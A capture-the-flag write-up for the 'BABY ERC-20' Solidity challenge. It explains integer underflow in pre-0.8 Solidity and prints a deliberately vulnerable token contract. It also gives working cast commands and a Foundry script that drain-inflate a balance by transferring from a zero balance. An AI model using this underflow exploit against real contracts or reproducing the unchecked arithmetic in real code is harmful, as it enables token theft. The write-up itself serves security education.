Writeup for BABY ERC-20

  • Hello h4ck3r, welcome to the world of smart contract hacking. In order to understand this writeup you need to understand foundry.

Challenge Description

No Description given

Key Concepts to Learn

In order to solve this challenge we need to understand overflows and underflows in solidity.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4contract overflow_underflow{
 5    uint8 overflow=255;
 6    uint8 underflow=0;
 7
 8    function increment()public{
 9        overflow++;
10    }
11
12    function decrement()public{
13        underflow--;
14    }
15
16}

The above contract is a good example to understand overflows and underflows. The state variable overflow is set to 255, and the state variable underflow is set to 0.

uint8 technically refers to 8 bits, which means it can store a maximum value of 255. If we increase the value of the variable after 255, it will start from zero again. In the above contract, if we call increment() once, then overflow will be set to zero. If we call it again, it will be set to 1, and so on.

The minimum value of uint8 is 0. But if we decrease a uint8 variable after zero, it will become 255. In the above contract, if we call decrement() once, then underflow is set to 255. If we call it again, underflow will be set to 254, and so on.

For solidity versions greater than 0.8.0, overflow and underflows are implicitly handled. But for solidity versions less than 0.8.0, we need to explicitly handle the overflows and underflows.There is a library named SafeMath to handle overflows and underflows for versions less than 0.8.0.

If you are new to overflows and underflows, I suggest you go to Remix and try out the example by deploying in remix local VM’s.

Exploit

The below are the source contracts.

  1. Setup contract
 1// SPDX-License-Identifier: MIT
 2pragma solidity 0.6.12;
 3
 4import {HCOIN} from "./HCOIN.sol";
 5
 6contract Setup {
 7    HCOIN public coin;
 8    address player;
 9
10    constructor() public payable {
11        require(msg.value == 1 ether);
12        coin = new HCOIN();
13        coin.deposit{value: 1 ether}();
14    }
15
16    function setPlayer(address _player) public {
17        require(_player == msg.sender, "Player must be the same with the sender");
18        require(_player == tx.origin, "Player must be a valid Wallet/EOA");
19        player = _player;
20    }
21
22    function isSolved() public view returns (bool) {
23        return coin.balanceOf(player) > 1000 ether; // im rich :D
24    }
25}
  1. HCOIN contract
 1// SPDX-License-Identifier: MIT
 2pragma solidity 0.6.12;
 3
 4import "./Ownable.sol";
 5
 6contract HCOIN is Ownable {
 7    string public constant name = "HackerikaCoin";
 8    string public constant symbol = "HCOIN";
 9    uint8 public constant decimals = 18;
10
11    mapping(address => uint256) public balanceOf;
12    mapping(address => mapping(address => uint256)) public allowance;
13
14    event Transfer(address indexed from, address indexed to, uint256 value);
15    event Approval(address indexed owner, address indexed spender, uint256 value);
16    event Deposit(address indexed to, uint256 value);
17
18    function deposit() public payable {
19        balanceOf[msg.sender] += msg.value;
20        emit Deposit(msg.sender, msg.value);
21    }
22
23    function transfer(address _to, uint256 _value) public returns (bool success) {
24        require(_to != address(0), "ERC20: transfer to the zero address");
25        require(balanceOf[msg.sender] - _value >= 0, "Insufficient Balance");
26        balanceOf[msg.sender] -= _value;
27        balanceOf[_to] += _value;
28        emit Transfer(msg.sender, _to, _value);
29        return true;
30    }
31
32    function approve(address _spender, uint256 _value) public returns (bool success) {
33        allowance[msg.sender][_spender] = _value;
34        emit Approval(msg.sender, _spender, _value);
35        return true;
36    }
37
38    function transferFrom(address _from, address _to, uint256 _value) public onlyOwner returns (bool success) {
39        require(allowance[_from][msg.sender] >= _value, "Allowance exceeded");
40        require(_to != address(0), "ERC20: transfer to the zero address");
41        require(balanceOf[msg.sender] - _value >= 0, "Insufficient Balance");
42        balanceOf[_from] -= _value;
43        balanceOf[_to] += _value;
44        allowance[_from][msg.sender] -= _value;
45        emit Transfer(_from, _to, _value);
46        return true;
47    }
48
49    fallback() external payable {
50        deposit();
51    }
52}
  1. Ownable contract
 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4/**
 5 * @dev Provides basic authorization control functions. This simplifies
 6 * the implementation of "user permissions".
 7 */
 8contract Ownable {
 9    address private _owner;
10
11    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
12
13    /**
14     * @dev The Ownable constructor sets the original `owner` of the contract to the sender
15     * account.
16     */
17    constructor() internal {
18        _owner = msg.sender;
19        emit OwnershipTransferred(address(0), _owner);
20    }
21
22    /**
23     * @dev Returns the address of the current owner.
24     */
25    function owner() public view returns (address) {
26        return _owner;
27    }
28
29    /**
30     * @dev Throws if called by any account other than the owner.
31     */
32    modifier onlyOwner() {
33        require(_owner == msg.sender, "Ownable: caller is not the owner");
34        _;
35    }
36
37    /**
38     * @dev Allows the current owner to transfer control of the contract to a newOwner.
39     * @param newOwner The address to transfer ownership to.
40     */
41    function transferOwnership(address newOwner) public virtual onlyOwner {
42        require(newOwner != address(0), "Ownable: new owner is the zero address");
43        emit OwnershipTransferred(_owner, newOwner);
44        _owner = newOwner;
45    }
46}

In this challenge our task is make isSolved() function return true.

1function isSolved() public view returns (bool) {
2    return coin.balanceOf(player) > 1000 ether; // im rich :D
3    }

The function isSolved() is checking if the player has enough balance in the HCOIN contract or not. If the player’s balance is more than 1000 ether, it will return true.

Now let’s understand some functions in the HCOIN contract. The blanceOf variable is changed in three functions.

1function deposit() public payable {
2    balanceOf[msg.sender] += msg.value;
3    emit Deposit(msg.sender, msg.value);
4}

The function deposit() will increment the balanceOf of msg.sender (caller) by msg.value (if any ether is sent during the call). We can call this function and make our balance 1001 ether HCOIN tokens only if we have 1001 ETH. Since the challenge creator has given us less than 1001 ether, we need to look into other functions.

1function transfer(address _to, uint256 _value) public returns (bool success) {
2    require(_to != address(0), "ERC20: transfer to the zero address");
3    require(balanceOf[msg.sender] - _value >= 0, "Insufficient Balance");
4    balanceOf[msg.sender] -= _value;
5    balanceOf[_to] += _value;
6    emit Transfer(msg.sender, _to, _value);
7    return true;
8}

The function transfer() takes two arguments: address _to and uint256 _value. It first checks if _to is a zero address. If it is, the function call will revert. Otherwise, it checks if msg.sender has enough balance to transfer the specified amount. If msg.sender has enough balance, the function decreases the msg.sender balance by _value and increases the _to balance by _value.

The Solidity compiler version used for the HCOIN contract is 0.6.12, which means it is vulnerable to overflows and underflows. They also haven’t used the SafeMath library to prevent overflows. So, the contract is vulnerable to overflows and underflows.

Let’s check how this function will work if the balance of msg.sender is 0 and they are transferring 1 wei to another address.

  1. balanceOf[msg.sender] will return 0 and _value is 1.
  2. 0 - 1 will return 2**256 - 1 which is greater than 0.
  3. balanceOf[msg.sender] -= _value. This will set msg.sender balance to 2**256 - 1 wei which is equivalent to 115792089237316195423570985008687907853269984665640564039457.584007913129639935 ether.
  4. balanceOf[_to] += _value. This will set _to balance to 1 wei.

So from our account if we send 1 wei to any address then we will have a balance of 115792089237316195423570985008687907853269984665640564039457.584007913129639935 ether HCOIN tokens and our challenge will be solved.

1function setPlayer(address _player) public {
2    require(_player == msg.sender, "Player must be the same with the sender");
3    require(_player == tx.origin, "Player must be a valid Wallet/EOA");
4    player = _player;
5}

Once the transfer is completed we need call setPlayer() function in Setup.sol by passing our address as an argument.

We can complete this transaction in two ways. One way is by making direct transactions using cast, and the second way is by writing a script.

Method-1

In our instance, they are giving only the Setup contract address, but we need to interact with the HCOIN contract first. Since coin() in Setup is a public variable, we can get the HCOIN contract address by making a call to coin().

1$ cast call $SETUP_ADDR "coin()" --rpc-url $RPC_URL

SETUP_ADDR is the Setup contract address. Now we need to call the transfer() function.

1$ cast send $HCOIN_ADDR "transfer(address,uint256)" 0xD896A0672D9E650B18524139293e4CDcA1E44c9e 1 --rpc-url $RPC_URL --interactive

0x90bdc08cf595a862268cb0f12ec5956178e6fbf0 is the address of the HCOIN contract.

1$ cast send $SETUP_ADDR "setPlayer(address)" $PLAYER_ADDR --rpc-url $RPC_URL --interactive

Once this transaction completes, the challenge will be solved.

Method-2

We can also solve this challenge by writing a script.

 1// SPDX-License-Identifier: SEE LICENSE IN LICENSE
 2pragma solidity ^0.6.0;
 3
 4import {Script, console} from "forge-std/Script.sol";
 5import {Setup, HCOIN} from "src/Setup.sol";
 6import {ExploitHCOIN} from "./ExploitHCOIN.sol";
 7
 8contract ExploitScript is Script {
 9    function run() public {
10        vm.startBroadcast();
11        Setup setup = Setup(//__YOUR__SETUP__ADDRESS);
12        HCOIN hcoin = setup.coin();
13        hcoin.transfer(address(1), 1 ether);
14        setup.setPlayer(msg.sender);
15        require(setup.isSolved(), "Exploit Failed");
16        vm.stopBroadcast();
17    }
18}
1$ forge script script/ExploitScript.s.sol:ExploitScript --rpc-url $RPC_URL -i 1 --broadcast --sender $PLAYER

Once you compile and run the script the challenge will be solved. If you face any copiler version issues set solc_version = "0.6.12" in foundry.toml

Flag: TCP1P{https://x.com/0xCharlesWang/status/1782350590946799888}

Key Takeaways

For solidity versions less than 0.8.0, we need to explicitly handle the overflows and underflows. We can use the SafeMath library to overcome those.

***Hope you enjoyed this write-up. Keep on hacking and learning!***